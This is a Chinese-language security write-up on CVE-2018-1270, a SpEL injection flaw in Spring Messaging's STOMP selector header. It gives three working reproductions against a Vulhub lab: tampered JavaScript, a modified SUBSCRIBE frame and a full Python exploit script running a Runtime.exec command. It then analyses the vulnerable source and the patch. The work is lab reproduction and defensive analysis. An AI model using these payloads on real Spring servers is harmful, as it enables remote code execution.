0x01 Spring Messaging

Spring Messaging模块为集成Messaging API和消息协议提供支持,包括base、converter、core、handler、simp、support、tcp等模块,其上层协议是STOMP,底层通信基于SockJS。

几个模块简介如下:

base:定义了消息Message、消息处理MessageHandler、发送消息MessageChannel;Message由两部分组成,即Header和Payload;MessageHandler是一个处理消息的约定,Spring Messaging提供了丰富的消息处理方式;MessageChannel表现为pipes-and-filters架构的管道。

  • converter:对消息转换提供支持。
  • core:提供消息的模板方法。
  • handler:处理模块。
  • simp:包含诸如STOMP协议的简单消息协议的通用支持。STOMP,Streaming Text Orientated Message Protocol,是流文本定向消息协议,是一种为MOM(Message Oriented Middleware,面向消息的中间件)设计的简单文本协议。它提供了一个可互操作的连接格式,允许STOMP客户端与任意STOMP消息代理(Broker)进行交互,类似于OpenWire(一种二进制协议)。由于其设计简单,很容易开发客户端,因此在多种语言和多种平台上得到广泛应用。其中最流行的STOMP消息代理是Apache ActiveMQ。
  • support:提供了Message的实现,及创建消息的MessageBuilder和获取消息头的MessageHeaderAccessor,还有各种不同的MessageChannel实现和channel interceptor支持。
  • tcp: 一方面提供了通过TcpOperations建立tcp connection、通过TcpConnectionHandler处理消息和通过TcpConnectionf发送消息的抽象及实现;另一方面包含了对基于Reactor的tcp 消息支持。

0x02 CVE-2018-1270

Spring框架中通过spring-messaging模块来实现STOMP(Simple Text-Orientated Messaging Protocol),STOMP是一种封装WebSocket的简单消息协议。攻击者可以通过建立WebSocket连接并发送一条消息造成远程代码执行。

具体地说,在Spring Messaging中,其允许客户端订阅消息,并使用selector过滤消息。其中selector用SpEL表达式编写,并使用StandardEvaluationContext解析,从而导致SpEL表达式注入漏洞。

影响版本

  • Spring Framework 5.0 to 5.0.4
  • Spring Framework 4.3 to 4.3.14
  • Older unsupported versions are also affected

环境搭建

参考Vulhub:https://vulhub.org/#/environments/spring/CVE-2018-1270/

漏洞复现

Method1

访问页面,打开F12看到存在app.js文件,其中connect()函数用于建立SockJS连接:

这里直接篡改app.js的内容,插入恶意selector代码:

1
2
3
4
5
6
7
8
9
10
11
12
function connect() {
var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('touch /tmp/mi1k7ea')"};
var socket = new SockJS('/gs-guide-websocket');
stompClient = Stomp.over(socket);
stompClient.connect({}, function (frame) {
setConnected(true);
console.log('Connected: ' + frame);
stompClient.subscribe('/topic/greetings', function (greeting) {
showGreeting(JSON.parse(greeting.body).content);
},header);
});
}

此时在Web界面点击Connect再随便Send几个字符,就能成功触发漏洞:

Method2

使用Burp抓包,点击Connect,拦截到如下WebSocket报文:

篡改报文内容如下:

1
["SUBSCRIBE\nid:sub-0\ndestination:/topic/greetings\nselector:T(java.lang.Runtime).getRuntime().exec('touch /tmp/mi1k7ea')\n\n\u0000"]

再随便输入内容Send,然后就能触发了。

Method3

使用P神的脚本就好:https://github.com/vulhub/vulhub/blob/master/spring/CVE-2018-1270/exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json

logging.basicConfig(stream=sys.stdout, level=logging.INFO)

def random_str(length):
letters = string.ascii_lowercase + string.digits
return ''.join(random.choice(letters) for c in range(length))


class SockJS(threading.Thread):
def __init__(self, url, *args, **kwargs):
super().__init__(*args, **kwargs)
self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
self.daemon = True
self.session = requests.session()
self.session.headers = {
'Referer': url,
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
}
self.t = int(time.time()*1000)

def run(self):
url = f'{self.base}/htmlfile?c=_jp.vulhub'
response = self.session.get(url, stream=True)
for line in response.iter_lines():
time.sleep(0.5)

def send(self, command, headers, body=''):
data = [command.upper(), '\n']

data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))

data.append('\n\n')
data.append(body)
data.append('\x00')
data = json.dumps([''.join(data)])

response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
if response.status_code != 204:
logging.info(f"send '{command}' data error.")
else:
logging.info(f"send '{command}' data success.")

def __del__(self):
self.session.close()


sockjs = SockJS('http://your-ip:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)

sockjs.send('connect', {
'accept-version': '1.1,1.0',
'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/mi1k7ea')",
'id': 'sub-0',
'destination': '/topic/greetings'
})

data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
'content-length': len(data),
'destination': '/app/hello'
}, data)

要在Python3环境下才能运行:

之后到服务端就看到命令被成功执行了。

漏洞分析

有个注意的地方,如P神说的:

网上大部分文章都说spring messaging是基于websocket通信,其实不然。spring messaging是基于sockjs(可以理解为一个通信协议),而sockjs适配多种浏览器:现代浏览器中使用websocket通信,老式浏览器中使用ajax通信。

连接后端服务器的流程,可以理解为:

  1. STOMP协议将数据组合成一个文本流
  2. sockjs协议发送文本流,sockjs会选择一个合适的通道:websocket或xhr(http),与后端通信

这里就不具体调试分析了,只简单分析下漏洞点,具体的调试分析可参考网上的一些文档即可。

从补丁的文件开始分析,即spring-messaging/src/main/java/org/springframework/messaging/simp/broker/DefaultSubscriptionRegistry.java,关键在于addSubscriptionInternal()函数,这里对header参数进行了接收和处理,其中会获取header中的selector,当selector不为空时则设置到expression中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@Override
protected void addSubscriptionInternal(
String sessionId, String subsId, String destination, Message<?> message) {

Expression expression = null;
MessageHeaders headers = message.getHeaders();
String selector = SimpMessageHeaderAccessor.getFirstNativeHeader(getSelectorHeaderName(), headers);
if (selector != null) {
try {
expression = this.expressionParser.parseExpression(selector);
this.selectorHeaderInUse = true;
if (logger.isTraceEnabled()) {
logger.trace("Subscription selector: [" + selector + "]");
}
}
catch (Throwable ex) {
if (logger.isDebugEnabled()) {
logger.debug("Failed to parse selector: " + selector, ex);
}
}
}
this.subscriptionRegistry.addSubscription(sessionId, subsId, destination, expression);
this.destinationCache.updateAfterNewSubscription(destination, sessionId, subsId);
}

通过sessionIdsubsId确定一个selector属性,后续服务端就通过这个subsId来查找特定会话,也就是从headers头部信息查找selector,由selector的值作为expression被执行

前面这是Subscribe操作时设置的selector,我们知道漏洞的触发是在Send之后,接着看下Send之后的函数调用。

看到org\springframework\messaging\simp\broker\SimpleBrokerMessageHandler.java,其中有个sendMessageToSubscribers()函数,即将我们要发送的数据发送给订阅者,其中参数message保存了此次连接的相关信息,message的头部信息包含了selector的属性,调用了findSubscriptions()函数:

1
2
3
4
protected void sendMessageToSubscribers(@Nullable String destination, Message<?> message) {
MultiValueMap<String,String> subscriptions = this.subscriptionRegistry.findSubscriptions(message);
...
}

我们跟进查看findSubscriptions()函数,位于org/springframework/messaging/simp/broker/AbstractSubscriptionRegistry.java中,这里将message传进来findSubscriptionsInternal()函数中:

1
2
3
4
5
@Override
public final MultiValueMap<String, String> findSubscriptions(Message<?> message) {
...
return findSubscriptionsInternal(destination, message);
}

跟进findSubscriptionsInternal()函数,位于org\springframework\messaging\simp\broker\DefaultSubscriptionRegistry.java中,这里将message传入了filterSubscriptions()函数进行处理:

1
2
3
4
5
@Override
protected MultiValueMap<String, String> findSubscriptionsInternal(String destination, Message<?> message) {
MultiValueMap<String, String> result = this.destinationCache.getSubscriptions(destination, message);
return filterSubscriptions(result, message);
}

跟进filterSubscriptions()函数,同样在DefaultSubscriptionRegistry.java中定义了,该函数获取前面配置的selector来对subscriptions进行过滤选择,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
private MultiValueMap<String, String> filterSubscriptions(
MultiValueMap<String, String> allMatches, Message<?> message) {

if (!this.selectorHeaderInUse) {
return allMatches;
}
EvaluationContext context = null;
MultiValueMap<String, String> result = new LinkedMultiValueMap<>(allMatches.size());
for (String sessionId : allMatches.keySet()) {
for (String subId : allMatches.get(sessionId)) {
SessionSubscriptionInfo info = this.subscriptionRegistry.getSubscriptions(sessionId);
if (info == null) {
continue;
}
Subscription sub = info.getSubscription(subId);
if (sub == null) {
continue;
}
Expression expression = sub.getSelectorExpression();
if (expression == null) {
result.add(sessionId, subId);
continue;
}
if (context == null) {
context = new StandardEvaluationContext(message);
context.getPropertyAccessors().add(new SimpMessageHeaderPropertyAccessor());
}
try {
if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class))) {
result.add(sessionId, subId);
}
}
catch (SpelEvaluationException ex) {
if (logger.isDebugEnabled()) {
logger.debug("Failed to evaluate selector: " + ex.getMessage());
}
}
catch (Throwable ex) {
logger.debug("Failed to evaluate selector", ex);
}
}
}
return result;
}

分析得知,通过Expression expression = sub.getSelectorExpression();来获取前面订阅时设置的Selector表达式,然后在if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class)))代码中调用了expression.getValue()函数,这就是漏洞触发点,成功触发了SpEL表达式注入漏洞。

补丁分析

官方补丁:https://github.com/spring-projects/spring-framework/commit/e0de9126ed8cf25cf141d3e66420da94e350708a#diff-ca84ec52e20ebb2a3732c6c15f37d37a

可以看到主要是修改了DefaultSubscriptionRegistry这个类,用SimpleEvaluationContext来替代了StandardEvaluationContext,也就是采用了SpEL表达式注入漏洞的通用防御方法。

0x03 参考

spring源码分析之spring-messaging模块详解

IDEA动态调试分析Spring RCE CVE-2018-1270

spring-messaging Remote Code Execution 分析-【CVE-2018-1270】